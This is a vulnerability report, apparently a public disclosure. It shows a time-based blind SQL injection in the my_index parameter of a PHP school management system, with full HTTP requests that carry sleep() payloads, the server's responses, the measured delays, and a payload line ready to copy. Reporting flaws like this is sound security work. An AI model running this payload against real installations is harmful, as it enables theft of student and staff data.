

SQL injection vulnerability exists in my\_index parameter of /view/unread\_msg.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

```
1 GET /std1/view/unread_msg.php?my_index=%2B(select(0)from(select(sleep(2)))v)%2B'&my_type=my_type HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 17:04:42 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 462
8
9
10
11 <a href="#" class="dropdown-toggle" data-toggle="dropdown">
12   <i class="fa fa-envelope-o">
13     <span class="label label-success">
14       0
15     </span>
16   </i>
17 </a>
18 <ul class="dropdown-menu">
19   <li class="header">
20     You have 0 messages
```

Done 651 bytes | 4,015 millis

Sleep time is 12s:

**Request**

```
1 GET /std1/view/unread_msg.php?my_index=%2B(select(0)from(select(sleep(6)))v)%2B'&my_type=my_type HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 17:05:04 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 462
8
9
10
11 <a href="#" class="dropdown-toggle" data-toggle="dropdown">
12   <i class="fa fa-envelope-o">
13     <span class="label label-success">
14       0
15     </span>
16   </i>
17 </a>
18 <ul class="dropdown-menu">
19   <li class="header">
20     You have 0 messages
```

Done 651 bytes | 12,004 millis

Payload: my\_index='%2B(select(0)from(select(sleep(6)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>